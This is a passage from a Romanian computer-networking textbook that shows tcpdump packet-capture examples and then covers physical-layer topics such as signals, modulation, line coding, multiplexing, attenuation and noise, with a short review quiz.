root@HQ:~# tcpdump -i eth1 -n \( dst 86.122.60.17 and dst port 22 \) or dst 74.125.232.216 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes 14:48:15.962474 IP 79.117.24.159.52497 > 86.122.60.17.22: Flags [.], ack 2748452239, win 4063, length 0 4:48:25.101438 IP 86.122.60.17.56532 > 74.125.232.216.80: Flags [.], ack 1419, win 137, options [nop,nop,TS val 676238255 ecr 1297054305], length 0

n captura anterioar apar doar pachetele ce au ca destinaie adresa 86.122.60.17 i portul 22 (primul pachet capturat de la momentul 14:48:15.962474) sau adresa destinaie 74.125.242.216 (al doilea pachet capturat) Gruparea expresiilor compuse se poate realiza cu paranteze rotunde, dar acestea trebuie precedate de \, pentru a nu fi interpretate de consola n care se execut comanda.

0.5.4 Analiza coninutului de date


Pe lng antetele datelor, obinute prin ncapsulare, tcpdump este capabil s afieze i datele efective din pachetele capturate. Pentru acest lucru se folosete opiunea x (afieaz doar n format hexazecimal coninutul de date) sau X (afieaz n format hexazecimal i ASCII):
root@HQ:~# tcpdump -i eth1 -x 18:36:33.557589 IP HQ.ssh > 79-117-24-159.rdsnet.ro.59684: Flags [P.], seq 8108:8800, ack 189, win 192, length 692 0x0000: 4510 02dc 0b18 4000 4006 3255 567a 3c11 0x0010: 4f75 189f 0016 e924 be95 4700 c3ba 675f 0x0020: 5018 00c0 4223 0000 ba19 c39a 4a6d 7124 0x0030: 5716 0e33 e44e 4a5b 27bd 3582 4c99 80ee 0x0040: b123 c8c3 116a 39f6 3aea f447 root@HQ:~# tcpdump -i eth1 -X 18:37:21.325009 IP HQ.ssh > 79-117-24-159.rdsnet.ro.59684: Flags [P.], seq 21172:22524, ack 461, win 192, length 1352 0x0000: 4510 0570 0b46 4000 4006 2f93 567a 3c11 E..p.F@.@./.Vz<. 0x0010: 4f75 189f 0016 e924 be95 a358 c3ba 6c03 Ou.....$...X..l. 0x0020: 5018 00c0 8a97 0000 b152 e2ba 1d9a 8fd0 P........R...... 0x0030: ce63 8668 f913 3a6a 2377 ccab 340d e078 .c.h..:j#w..4..x 0x0040: 458d 1018 7ff7 a233 23b5 79dc E......3#.y.

Se observ c n ambele rulri de mai sus este afiat coninutul fiecrui pachet n format hexazecimal. Pe prima coloan este afiat octetul de la care ncepe linia respectiv, n hexazecimal (0x0000, 0x0010, etc). Valoarea 0x0010 semnific octetul cu numrul 16, n decimal. Pe fiecare linie sunt 8 grupuri de 4 valori, fiecare avnd 2 octei (fiecare caracter hexazecimal este reprezentat pe 4 bii, adic jumtate de octet), n total 16 octei pe linie. Astfel incrementul de 10H este justificat (10H reprezint 16 octei, n decimal). Pentru opiunea X, se observ, n partea dreapt a fiecrei linii, datele n format ASCII. Aceast opiune este util cnd dorim s vizualizm datele necriptate din reea (de exemplu protocolul telnet nu cripteaz traficul). n toate comenzile de mai sus, se poate omite specificarea interfeei, dar atunci tcpdump va inspecta traficul de pe toate interfeele. Pentru mai multe opiuni n scrierea expresiilor, putei consulta pagina de manual pcap-filter (man pcap-filter).

R e e a d e c a l c u l a t o a r e | 11

0.6 Concluzii
Reeaua de calculatoare este unul dintre cele mai importante concepte din domeniul calculatoarelor. Prin interconectare se realizeaz schimbul de date ntre dispozitive, n vederea accesului rapid la informaie. De exemplu, pentru a trimite un document ntre dou orae nu mai este necesar s ateptm 1-2 zile s ajung prin curierat, aceasta putnd fi trimis instantaneu prin intermediul reelelor de calculatoare. Partajarea datelor aduce avantaje i n procesarea distribuit a informaiilor. Astfel, dac trebuie analizat un set mare de date, acesta poate fi prelucrat mai repede de mai multe calculatoare legate ntr-o reea dect de un singur calculator. Principalele dispozitive ce fac parte dintr-o reea sunt placa de reea (cu staia aferent), switchul i ruterul, folosind diferite medii de transmisie: cupru, fibra optic i aerul. Trecerea de la un mediu de transmisie la altul se face prin echipamente dedicate, ce poart numele de convertoare. Pentru conversia aer-cupru se folosete punctul de acces, iar pentru legtura fibr optic-cupru se utilizeaz media convertorul. n funcie de ntinderea reelelor, acestea pot fi clasificate n: LAN (distane mici), MAN (distane medii) i WAN (distane mari). Pentru a simplifica modul de transmisie al datelor n reea se folosete o stiv de protocoale, distribuit pe mai multe nivele. Fiecare nivel este specializat n asigurarea unui serviciu. Protocolul de la un anumit nivel se folosete de serviciile puse la dispoziie de protocoalele de pe nivelele inferioare i, la rndul lui, asigur interfaa pentru protocoalele de nivel superior. Stiva TCP/IP este cea folosit n Internet, fiind compatibil cu modelul OSI.

0.6.1 Linux
Comand tcpdump Descriere Afieaz antetele datelor ncapsulate i coninutul efectiv.

12 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

0.7 ntrebri
1. 2. De ce component are nevoie o staie pentru a se lega la o reea? Plac de reea Punct de acces Ruter Cablu de cupru Care este rolul unei stive de protocoale? Complic transferul datelor pe reea Realizeaz o separaie a funciilor ce trebuie realizate pentru a trimite date Nu are un rol semnificativ. Se respect doar un standard Rspunsurile 2 i 3

3. Nivelul unei stive de protocoale ofer servicii ____________ ______________. 4. 5. 6. 7. 8. Care este protocolul dominant folosit la nivelul reea, n stiva TCP/IP? IP TCP UDP ICMP Care este stiva de protocoale folosit n Internet? OSI TCP/IP IP TCP Ce nivele ale stivei OSI sunt reunite n cadrul stivei TCP/IP? Nivelele 1 i 2 Nivele 3 i 4 Nivelele 5, 6 i 7 Nivelele 1,2 , ct i Nivelele 5,6,7 Cum putem delimita o reea de tip LAN (Local Area Network) ? Dup distana dintre nodurile sale Dup tipurile de echipamente de reea Dup punctul comun de ieire ctre Internet (ctre reelele MAN/WAN) Dup tipul staiilor din cadrul reelei Topologia logic se refer la: Clasificarea echipamentelor n funcie de rolul lor n reea Modul n care echipamentele sunt folosite pentru a realiza comunicaia ntre entiti Tipul echipamentelor folosite Conectarea fizic a echipamentelor n cadrul reelei

P a g e | 13

1 Nivelul fizic
Ce se nva n acest capitol? Cine este Alexander Graham Bell a fost un om de tiin, un inventator i, ulterior, industria american, fiind prima persoan care a brevetat telefonul. n 1881, n cadrul sistemelor telefonice proiectate de Bell, s-au folosit pentru prima dat cabluri torsadate (twisted pair) de cupru. Pentru a putea trimite datele n reea este necesar transformarea acestora n semnale, deoarece semnalele sunt cele care se pot propaga (pot cltori) pe mediul de transmisie folosit. Transformarea trebuie s respecte anumite reguli astfel nct, la destinaie, receptorul s neleag ce s-a transmis. Nivelul fizic are rolul de a transmite date pe canalul de comunicaie folosind semnale. Unitatea de date folosit este bitul. Altfel spus, acest nivel convertete biii n semnale, pentru a putea fi puse pe canal. Tot la acest nivel se stabilete viteza cu care sunt transmise datele (controlul vitezei) i are loc procesul de negociere a parametrilor (sincronizarea comunicaiei ntre echipamente). Un alt rol al nivelului fizic este acela de a trimite pe canal, n acelai timp, mai multe semnale compuse (multiplexare). Tipuri de semnale Mutiplexarea semnalului Codificri ale semnalelor Medii de transmisie Interfee de mare vitez (tehnologii folosite n WAN)

1.1 Semnale
Dup cum am precizat anterior, la nivelul fizic se lucreaz numai cu semnale, fiind importante mijloacele prin care biii pot fi transportai ct mai eficient. n paragrafele urmtoare vor fi prezentate diverse tehnici ce fac posibil optimizarea transferului de bii printr-un canal fizic. La nivelul cel mai general, un semnal este un fenomen fizic msurabil, care variaz n spaiu i/sau timp, utilizat pentru a transmite informaie. Semnalele pot fi continue sau discrete. De asemenea, o clasificare frecvent a semnalelor este cea analogic/digital. Semnalul analogic este continuu n timp, ntr-o reprezentare grafic, acesta avnd forma unor valuri, fr schimbri brute ale valorii semnalului. Semnalul digital este discret, acesta avnd valori constante pentru o perioad de timp. Schimbarea brusc a valorii unui semnal digital face diferena ntre dou informaii diferite.

1.1.1 Semnale analogice


Semnalele analogice sunt continue i, teoretic, ar putea fi reprezentate complet prin numere doar cu un nivel infinit de precizie (cu un numr infinit de zecimale). Exemple de semnale analogice sunt cele ntlnite n natur, cum ar fi vocea uman, ciripitul psrilor, uieratul vntului, etc. Atunci cnd sunt reprezentate grafic n funcie de timp, ele au aspectul unor valuri mai mult sau mai puin simetrice (vezi Fig. 1-1). O sinusoid este cel mai simplu semnal analogic.

14 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1-1 Reprezentarea unui semnal analogic Semnalele analogice variaz continuu n timp i de aceea nu au treceri brute de la o valoare la alta: se mai spune c sunt wavy, adic unduioase. Acestea sunt caracterizate prin amplitudine, frecven (sau perioad) i faz. Amplitudinea reprezint nivelul maxim al semnalului (maximul de pe axa Valoare din Fig. 1-1). Frecvena se refer la viteza de schimbare a direciei graficului, relativ la timp. Faza este caracterizat prin poziia formei de und raportat la momentul de timp 0 (nivelul axei Valoare la momentul de timp 0 din Fig. 1-1). Aceste caracteristici pot varia, obinndu-se noi semnale. Modularea se refer la modificarea unui semnal folosind un alt semnal. ntr-o transmisie radio, semnalul cu ajutorul cruia este transportat informaia este o und, de exemplu o sinusoid. Transmitorul emite n permanen o sinusoid (caracterizat de amplitudine, frecven i faz) cu toi parametrii constani. n acest caz, cantitatea de informaie este nul, adic pe aceast sinusoid nu este transmis niciun fel de informaie util. n momentul n care ncepe transmisia datelor, semnalul util de date, adic biii, sunt folosii pentru a varia parametrii sinusoidei. Cu alte cuvinte, datele (biii) se reprezint prin variaia caracteristicilor sinusoidei.

1-2 Modulare n amplitudine

n funie de parametrul variat, modulaia poate fi n amplitudine (AM amplitude modulation; vezi Fig. 1-2), n frecven (FM frequency modulation; vezi Fig. 1-3) sau n faz (PM phase modulation).

N i v e l u l f i z i c | 15

1-3 Modulare n frecven Modularea n amplitudine i modularea n frecven se folosesc n mod special n transmisiile radio. De exemplu, majoritatea posturilor radio, cnd specific frecvena, menioneaz i sufixul AM sau FM.

1.1.2 Semnale digitale


Semnalele digitale sunt discrete i cuantizate adic pot fi reprezentate prin numere cu un anumit nivel de precizie prestabilit. Semnalele digitale, cel mai adesea, sunt cele folosite n tehnic i au la baz dou valori logice, 0 i 1, care au fiecare cte o reprezentare n funcie de modul n care sunt transmise. Impulsurile digitale (0 sau 1 logic) se numesc bii. Transmisia digital este de multe ori preferabil celei analogice deoarece este mai puin afectat de zgomote, fiind deci mai robust. Datorit trecerilor brute de la o valoare la alta, se mai spune c este jumpy, adic sltrea. Semnalele digitale menin un nivel constant de tensiune sau intensitate luminoas, apoi trec pe alt nivel constant, cele 2 niveluri reprezentnd biii 0 i 1 (vezi Fig. 1-4).

1-4 Transmisie digital Transmisia digital e mai puin afectat de zgomote. Fie o linie pe care se dorete transmiterea numrului 7. Dac transmisia este analogic, se va transmite practic o und, n care considerm amplitudinea ca fiind de 0,7 (dac s-ar fi dorit transmiterea numrului 5, ar fi trebuit folosit o amplitudine 0,5, etc). Dac acea linie este afectat de interferene electromagnetice cu amplitudinea de 0,2, atunci la recepie se va citi 0,9, adic numrul 9. Transmisie eronat! Dac n schimb se folosete transmisia digital, va trebui convertit 7 n binar, iar numrul 111 va fi transmis digital. Transmisia poate avea 2 valori: spre exemplu, 0 logic ntre amplitudinile 0,1 i 0,4 i 1 logic ntre 0,8 i

16 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e 1. Dac se dorete transmiterea lui 1 logic de 3 ori, practic vor fi transmise 3 impulsuri cu amplitudinea de 0,8. Dac la ele se adaug interferenele prezente pe linie, la cellalt capt vor fi citite 3 impulsuri de amplitudine 1, ceea ce nseamn tot 1 logic. Transmisie corect! Este adevrat c exist numeroase cazuri n care, datorit interferenelor prea mari, se emite 0 i se recepioneaz 1 sau invers, ns, n comparaie cu transmisia analogic, cea digital este mult mai precis i mai robust. Tipurile de semnale discutate mai jos sunt n marea lor majoritate digitale (acestea sunt cele mai folosite n reele de calculatoare); atunci cnd este vorba despre semnale analogice, acest lucru va fi precizat explicit.

1.1.3 Codificri ale semnalelor


De-a lungul timpului au existat numeroase forme de transport al informaiei pe distane lungi. Fiecare dintre aceste metode avea o anumit form de codare a informaiei. De exemplu, indienii apache fceau un foc mare pe un deal i cu ajutorul unei pturi formau rotocoale de fum. O variant de codare folosit ar putea fi: 3 rotocoale de fum nseamn c este vnat mult prin zon, 4 rotocoale mari i dou mici nseamn c vine furtuna, etc. Apariia codului Morse a revoluionat la vremea respectiv comunicaiile: fiecare liter avea propriul ei simbol format din semnale lungi i scurte. Procesul de transformare a informaiei ntr-un semnal ce poate fi transportat pe un canal fizic se numete codare. Pentru a transmite informaia, aceasta trebuie convertit ntr-un semnal digital binar. La nivelul fizic, pasul urmtor const n codarea semnalului binar ntr-un alt semnal adecvat mediului fizic precum variaii ale nivelului de tensiune ntr-un cablu de cupru, sau variaii ale luminozitii ntr-o fibr optic. Codarea (denumit i line coding sau digital baseband modulation) poate fi unipolar (un singur nivel de tensiune care reprezint 1; absena nseamn 0), polar (dou niveluri de tensiune) i bipolar (trei niveluri: pozitiv, negativ i zero). Transmisia datelor digitale este caracterizat prin dou metrici importante: bit rate (numrul de bii pe secund trimii) i bit interval (ct timp dureaz s fie trimis un bit). Mai jos sunt prezentate cteva metode de codare ale semnalelor binare n semnale fizice.

Manchester IEEE 802.3

1-5 Manchester IEEE 802.3 Codarea Manchester se realizeaz pe dou niveluri, cu autosincronizare. O tranziie jos-sus, la mijlocul perioadei de ceas, codific bitul 1, iar o tranziie sus-jos bitul 0. Pentru a satisfice aceste condiii, la sfritul perioadei de ceas se face o tranziie, dac este necesar, pentru a fi pe nivelul corespunztor bitului ce urmeaz (nivelul jos dac bitul este 0 sau nivelul sus dac bitul este 1 vezi

N i v e l u l f i z i c | 17 Fig. 1-5 tranziiile negre). Codarea Manchester este utilizat n cadrul standardului IEEE 802.3 (Ethernet).

Manchester diferenial
Manchester diferenial este o metod de codare n care datele sunt combinate cu semnalele de ceas pentru a forma un ir de date cu autosincronizare. Pentru a reprezenta 1, prima jumtate a perioadei de ceas curente trebuie s fie egal cu ultima jumtate a perioadei precedente. Pentru a codifica 0, se inverseaz nivelul de tensiune existent n cea de-a doua jumtate a semnalului anterior. Cu alte cuvinte, un bit 0 este reprezentat printr-o tranziie la nceputul perioadei de ceas, absena acestei tranziii semnificnd 1 logic (vezi Fig. 1-6). Manchester diferenial este utilizat n cadrul standardului 802.5 (Token Ring).

1-6 Manchester Diferenial

Non-Return-To-Zero Level (NRZ-L)


n codarea Non-Return-to-Zero Level (NRZ-L), valoarea 1 logic este transmis ca o tensiune joas (de obicei negativ, de exemplu ntre -12V i -5V), iar 0 logic ca un nivel de tensiune nalt (pozitiv, de exemplu ntre 5V i 12V).

1-7 Non-Return-To-Zero Level (NRZ-L)

18 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n reprezentarea unui ir de bii nivelul semnalului urmrete starea bitului (vezi Fig. 1-7). Un dezavantaj important al acestei metode de codare este riscul crescut de pierdere a sincronizrii la receptor. Transmiterea unei secvene de date ce conine un numr mare de bii consecutivi cu aceeai valoare presupune meninerea tensiunii mai mult timp pe acelai nivel, iar n cazul desincronizrii, numrul biilor recepionai poate fi eronat.

Non-Return-To-Zero Inverted (NRZ-I)


n codarea Non-Return-to-Zero Inverted (NRZ-I), valoarea semnalului trece de pe un nivel pe altul doar atunci cnd, n irul de bii transmii, apare valoarea 1 logic. Ca exemplu, dac n starea curent semnalul se afl pe nivelul de tensiune joas, la apariia unui bit de valoare 1 va trece pe tensiune nalt. Apariia unuia sau mai multor bii de 0 nu schimb n niciun fel nivelul de tensiune. Acesta va reveni la tensiune joas doar pentru a reprezenta urmtorul bit de 1 ntlnit n ir (vezi Fig. 1-8).

1-8 Non-Return-To-Zero Inverted (NRZ-I)

Multi-Level Transmit 3 (MLT-3)

1-9 Multi-Level Transmit 3 (MLT-3)

N i v e l u l f i z i c | 19 Codarea Multi-Level Transmit 3 (MLT-3) folosete trei nivele de tensiune. Pentru a reprezenta bit-ul 1, la nceputul perioadei de ceas, se realizeaz o tranziie. La apariia unui bit de 0, nivelul nu se modific. Tranziiile se fac ntre nivelurile minim i maxim. Direcia n care se modific nivelul, se schimb la atingerea unuia dintre cele 2 praguri (minim sau maxim).

Pulse-Amplitude Modulation 5
n codarea Pulse-Amplitude Modulation 5 se folosesc 5 nivele de tensiune, fiecrui nivel de tensiune fiindu-i atribuit un grup de 2 bii. De exemplu, dac pentru grupul 01 atribuim nivelul 1 de tensiune, la apariia acestei combinaii, se va realiza o tranziie direct ctre nivelul 1. Dac grupul anterior a fost tot 01, atunci nu se va realiza nicio tranziie. Grupul de 2 bii va fi consumat i se va trece la urmtorul grup.

1-10 Pulse-Amplitude Modulation 5 (PAM-5)

4B5B
Codarea 4B5B convertete blocuri de 4 bii n blocuri de 5 bii. Aceast codare este folosit mpreun cu NRZ-I (fibra optic) sau MLT-3 (Ethernet 100BASE-TX). Blocurile de 5 au suficient de muli bii de 1 astfel nct NRZ-I/MLT-3 s nu piard sincronizarea. Dup cum se poate observa n Fig. 1-11, nu se pot obine consecutiv mai mult de 3 bii de 0. Astfel, pentru NRZ-I, va rezulta o tranziie la cel mult dou perioade de ceas.

1-11 Pulse-Amplitude Modulation 5 (PAM-5)

20 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n Fig. 1-12 sunt prezentate codificrile aplicate semnalului de date pentru tehnologiile de transmisie pe fibr optic, respectiv pe cupru. n cazul transmisiei peste fibra optic se folosete o nou codare 8B10B (de la 8 la 10 bii, tot n acelai scop ca i 4B5B) mpreun cu NRZ. Pentru transmisia peste cablul de cupru torsadat (vezi Medii de transmisie) se folosete codificarea PAM-5. Primele dou diagrame reprezint etapele de codificare din reelele FastEthernet ce ofer viteze de pn la 100Mbps, iar ultimele dou prezint codificarea pentru tehnologii ce ofer viteze de transmisie de pn la 1Gbps (gigabii pe secund).

1-12 Folosirea codificrilor pentru transmisia 100 Mbps, respectiv 1000Mbps

1.1.4 Transmisia datelor digitale folosind semnale analogice


La nceputul anilor '90 transmisia de date a nceput s ia amploare, fiind disponibil i pe piaa liber, nu doar n universiti i instituii publice. La acea vreme nu existau reele capabile s transmit date, doar reelele de voce fiind dezvoltate la scar larg. Pentru a facilita dezvoltarea reelelor de calculatoare i a transmisiilor de date, s-a propus folosirea reelelor de telefonie. Acest lucru introducea anumite probleme, cel mai important fiind faptul c era un mediu de transmisie analogic, care folosea semnale analogice. Se punea deci problema transmisiei digitale pe medii analogice. Trebuie fcut distincia ntre tipul semnalului i tipul datelor transmise folosind acel semnal. La rndul lor, i datele se mpart n analogice sau digitale. Datele analogice sunt valori continue din

N i v e l u l f i z i c | 21 cadrul unui interval (exemplu: sunetele din natur, nlimea unei coloane de mercur din termometru).

1-13 ASK (Amplitude Shift Key) Datele digitale sunt valori discrete (exemplu: un fiier text, cifrele afiate pe ecranul unui termometru digital). Un caz n care date analogice, cum ar fi vocea, sunt transmise printr-un semnal analogic, este cel al telefonului clasic. De obicei, pentru datele digitale se folosesc semnale digitale. Dac se dorete transmiterea datelor digitale peste un mediu ce folosete semnale analogice (de exemplu linii telefonice) semnalul analog trebuie modulat, folosind un modem. Acesta preia datele digitale de transmis i le transform n semnal analogic. La recepie, aplicnd procesul invers, demodularea, asupra semnalului analogic citit de pe mediu se obin datele digitale. Exist mai multe tipuri de modulare: ASK (Amplitude Shift Keying vezi Fig. 1-13), FSK (Frequency Shift Keying vezi Fig. 1-14), PSK (Phase Shift Keying vezi Fig. 1-15).

1-14 FSK (Frequency Shift Key)

22 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1-15 PSK (Phase Shift Key) Acestea sunt asemntoare cu cele prezentate anterior, dar exist o diferen important: aici se trimit date digitale (bii de 0 i 1), pe cnd n exemplele prezentate n cadrul semnalelor analogice se trimiteau semnale analogice (vocea de la radio). Viteza de transmitere a datelor se poate msura n bii pe secund (bit-rate) sau semnale pe secund (baud-rate), tehnicile de modulare caracteriznduse prin raportul dintre bit-rate i baud-rate. Dup cum se poate observa, n toate cele trei cazuri, raportul dintre bit-rate i baud-rate este de 1. Se pot realiza combinaii ntre ASK i PSK, putndu-se reprezenta mai muli bii ntr-un semnal (vezi Fig. 1-16). Remarcm c prin variaia amplitudinii (2 nivele) i a fazei (4 pozitii), se pot crea 8 semnale diferite, fiecare semnal reprezentnd un grup de 3 bii.

1-16 ASK-PSK

N i v e l u l f i z i c | 23 Folosind valorile amplitudinii (A) i ale fazei (), putem reprezenta modularea ASK-PSK ntr-un cerc trigonometric. Aceast reprezentare poart numele de diagram de constelaii. Un exemplu de construire a acestei diagrame se afl n Fig. 1-17.

1-17 Diagram de constelaii

1-18 Modulare QAM-64 n Fig. 1-18 este reprezentat modulaia QAM-64. Observm 64 de puncte de constelaie, cu ajutorul crora se pot trimite 6 bii (cele 64 de poziii pot fi reprezentate pe 6 bii, respectiv log 264 = 6).

1.1.5 Multiplexarea semnalului


De multe ori, capacitile legturilor instalate ajung s fie saturate, unele reele fiind congestionate. Astfel, transmisia se realizeaz mai greoi. n acest caz, se impune creterea capacitii de transmisie, prin crearea unor noi legturi. Pentru o nou legtur, trebuie, n primul rnd, un nou mediu de transmisie (de exemplu s fie tras un nou cablu). n unele cazuri, costurile sunt foarte mari sau nu exist posibilitatea tehnic (cablurile sunt ngropate i nu mai exist tuburi libere prin care s fie trase noi cabluri). Aceste probleme pot fi rezolvate prin transmiterea mai multor semnale, cu informaii disctincte, pe acelai cablu. Cu ajutorul unui echipament, semnalele sunt compuse ntrunul singur, mai mare. Astfel, pentru creterea capacitii unor legturi, trebuie schimbate doar echipamentele de la capete, fr a instala un nou mediu de transmisie (cablu). Multiplexarea semnalului const n gruparea mai multor fluxuri de date ntr-un singur semnal, peste un singur mediu partajat.

24 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1-19 FDM (Frequency Division Multiplexing) Multiplexarea se mparte, la rndul ei, n analogic i digital. Din cea analogic fac parte urmtoarele tehnici de multiplexare: FDM (Frequency Division Multiplexing): fiecare canal (flux de date) primete o anumit band de frecven (vezi Fig. 1-19). WDM (Wavelength Division Multiplexing): este o form de multiplexare dezvoltat pentru transmisia pe fibr. Fiecare canal primete o lungime de und pe care s o foloseasc la transmiterea datelor (vezi Fig. 1-20). Fiecare fibr de la destinaie conine un filtru special (construit folosind o prism), care filtreaz toate lungimile de und mai puin una. Semnalele rezultate pot fi rutate ctre destinaie sau recombinate n diferite feluri pentru transmisii ulterioare. Concept publicat nc din anii 1970, tehnologia WDM a progresat extrem de rapid. Dac primul sistem WDM combina doar 2 canale, sistemele moderne pot combina pn la 160 de semnale, putnd astfel extinde un sistem de 10Gbps pn la o valoare teoretic de 1Tbps doar pe o pereche de fibr optic. n 2001 existau produse pe pia cu 96 de canale de 10Gbps fiecare, deci un total de 960Gbps. n laboratoare se lucreaz deja la sisteme ample ce cuprind peste 200 de canale. Atunci cnd numrul de canale este foarte mare i lungimile de und sunt foarte apropiate (0,1nm) sistemul este numit DWDM (Dense WDM).

1-20 WDM (Wavelength Division Multiplexing) Din categoria multiplexrii digitale face parte: TDM (Time Division Multiplexing): informaiilor din fiecare canal de date li se aloc o cuant de timp predefinit, indiferent dac pe acele canale se transmite sau nu (vezi Fig. 1-21).

1-21 TDM (Time Division Multiplexing)

N i v e l u l f i z i c | 25

1.1.6 Caracteristici ale semnalului


Performanele unei reele sunt dependente de calitatea semnalului. Calitatea semnalului se definete n funcie de anumite caracteristici cum ar fi: latena (ct de repede ajunge la destinaie un semnal), atenuarea (ct se pierde din semnal din cauza distanei parcurse) sau zgomotul (influene externe de la alte semnale). Latena, numit i ntrziere, este de dou tipuri: latena propagrii prin mediul de transmisie i latena trecerii prin echipamentele de reea. Primul tip de laten este dat de viteza de propagare a semnalului n mediul de transmisie specific i de distana ntre surs i destinaie. De exemplu, pentru o transmisie prin mediul electric viteza de propagare a semnalului este aproximativ dou treimi din viteza luminii. Aceasta nseamn c un impuls electric va parcurge un segment de reea de 100 m n: 100 / (2/3 * 3 * 108) = 0,5 * 10-6. A doua surs a latenei o reprezint echipamentele de reea folosite pe parcurs. Fiecare echipament execut operaii specifice, de la redresarea semnalului electric, pn la determinarea cii optime pe care trebuie trimis fiecare pachet. Latena dispozitivelor de interconectare variaz de la cteva microsecunde n cazul hubului i a convertoarelor de mediu, pn la milisecunde n cazul comutatoarelor i a ruterelor. Astfel, comparativ cu latena introdus de un repetor Ethernet, de aproximativ 5,6 microsecunde, latena mediului de conectare este cu un ordin de mrime mai mic. Latena propagrii este n general semnificativ mai mic dect latena dispozitivelor de interconectare, astfel nct deseori este considerat drept neglijabil. Cu toate acestea, exist cazuri n care latena propagrii este factorul principal al ntrzierii totale a unui semnal, cel mai relevant exemplu fiind cel al comunicaiilor prin satelit. Folosirea sateliilor geostaionari face ca drumul total ntre surs i destinaie s fie de peste 75.000 km, aducnd latena total a oricrei transmisiuni n jurul valorii de 0,5 secunde. Atenuarea este un termen general care se refer la reducerea puterii unui semnal. Atenuarea are loc indiferent de tipul de semnal, analogic sau digital. Numit uneori i pierdere (loss), atenuarea este o consecin a transmiterii semnalului la distane mari. Atenuarea afecteaz reelele de calculatoare deoarece limiteaz distana maxim ntre dispozitivele acesteia. Dac distana este prea mare, din cauza atenurii, la destinaie nu se va mai putea interpreta semnalul corect. Pentru transmisia la distane mai mari dect permite tipul de cablu utilizat se folosesc anumite dispozitive, numite repetoare, care regenereaz semnalul (din punct de vedere electric, optic sau wireless). Atenuarea afecteaz toate tipurile de medii de transmisie, ns are valori diferite pentru fiecare mediu n parte. De exemplu, un semnal electric transmis pe un fir de cupru se atenueaz mai repede dect un semnal optic (transmis pe o fibr optic). Atenuarea n general se msoar n decibeli (dB), iar atenuarea specific unui anumit tip de cablu se msoar n decibeli/metru sau decibeli/kilometru. Fiecare tip de cablu are o atenuare specific. Cu ct aceast atenuare este mai mic, cu att acel cablu este considerat mai bun. Atenuarea este un factor foarte important de luat n calcul n cazul proiectrii reelelor de fibr optic. Echipamentele de fibr optic garanteaz o anumit distan (specificat n cartea tehnic), ns aceast distan este garantat pentru o fibr optic cu o anumit atenuare / km (specificat tot n cartea tehnic). Dac se folosete o fibr optic cu o atenuare mai mare, atunci distana maxim garantat va fi mai mic. Dac ns se folosete fibr optic de o mai bun calitate, transmisia va fi corect i la distane mai mari dect cea specificat. Cum se determin distana maxim posibil pentru o transmisie? Echipamentele impun o anumit valoare a atenurii care nu trebuie depit. Se poate considera c: dm = (ame ac) / asm dm distana maxim ame atenuarea maxim a echipamentului ac atenuarea conectorilor asm atenuarea specific mediului Reflexia are loc de obicei atunci cnd un semnal ntlnete o linie de separaie ntre dou medii. Atunci, o anumit parte din semnal se reflect napoi n mediul din care a venit i o parte trece n mediul urmtor. Reflexia poate aprea n cazul semnalelor electrice cnd, de exemplu, impulsurile

26 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e electrice sau biii ntlnesc o discontinuitate, moment n care o anumit parte din energia semnalului se reflect. Dac nu este controlat, aceast energie poate interfera cu biii transmii mai trziu. Milioane de bii sunt transmii n fiecare secund, iar aceast energie reflectat poate duce la multe transmisii nereuite. Un exemplu este o reea pe cablu coaxial care are nevoie de un te rminator la fiecare capt. Dac nu ar avea acest terminator, la captul cablului ar aprea o linie de separare ntre cele dou medii (aer i cupru), iar o parte din energie s-ar reflecta napoi n firul de cupru. Reflexia poate avea loc i n cazul sistemelor optice. Un semnal optic se reflect ori de cte ori ntlnete o discontinuitate n fibra de sticl, ca de exemplu atunci cnd se ataeaz un conector. De aceea este necesar o pregtire special n cazul atarii conectorilor de fibr optic, pentru a nu permite reflexia luminii napoi n fibr. Zgomotul este o cantitate de energie nedorit (electric, electromagnetic sau radio) care poate degrada calitatea semnalului transmis. Zgomotul afecteaz att transmisiile analogice ct i cele digitale. n cazul semnalelor analogice, semnalul devine bruiat i deformat. Un exemplu este o convorbire telefonic pe care se aude un zgomot de fond. n sistemele digitale, zgomotele afecteaz valorile biilor transmii (0 sau 1), la destinaie acetia putnd fi interpretai greit (adic 1 n loc de 0 i invers). Zgomotul poate avea mai multe cauze: cmpurile electrice provenite de la motoare electrice, lumina fluorescent (neoane), etc. - toate provenite de la surse exterioare cablului afectat. Acest tip de zgomot se numete EMI (Electromagnetic Interference - Interferen Electromagnetic) dac provine de la surse electrice sau RFI (Radio Frequency Interference - Interferen Radio) cnd provine de la surse radio, radar sau microunde. Zgomotul mai poate proveni de la liniile de curent alternativ sau de la fulgere. Fiecare fir dintr-un cablu poate aciona ca o anten. Cnd acest lucru se ntmpl, firul practic absoarbe semnale electrice din celelalte fire din cablu sau din surse electrice exterioare cablului. Dac zgomotul electric rezultat atinge un nivel destul de nalt, poate deveni foarte dificil sau chiar imposibil pentru echipamentul de la cellalt capt s disting semnalul de zgomot. Un sistem de transmisie poate fi afectat de unele dintre aceste tipuri de zgomo t i imun la altele. De exemplu, transmisia optic este imun la interferenele electrice, deoarece semnalul purtat nu are natur electric, ci optic. Acest lucru o face ideal pentru legturile din exteriorul cldirii, unde transmisia pe firele de cupru ar putea fi influenat de fulgere, cmpuri electrice din alte surse, etc. Cablurile de cupru sunt afectate de interferene electromagnetice de la diferite surse din afara cablului. Totui, cea mai important surs de zgomot pentru cablurile de cupru o reprezint efectul numit crosstalk: interferena semnalelor ntre dou fire din interiorul aceluiai cablu. Una dintre cele mai eficiente metode de prevenire a efectului de crosstalk este torsadarea firelor. Prin torsadare, cmpurile electrice se anuleaz i firele din celelalte perechi nu mai sunt influenate de semnalul din perechea iniial. De multe ori apar ns probleme la ataarea conectorilor. Dup cum se va vedea n studiul de caz din acest capitol, atunci cnd se dorete ataarea unui conector la captul unui cablu trebuie nti detorsadate toate perechile din interiorul cablului. Dac se las o bucat prea mare detorsadat, n acea zon 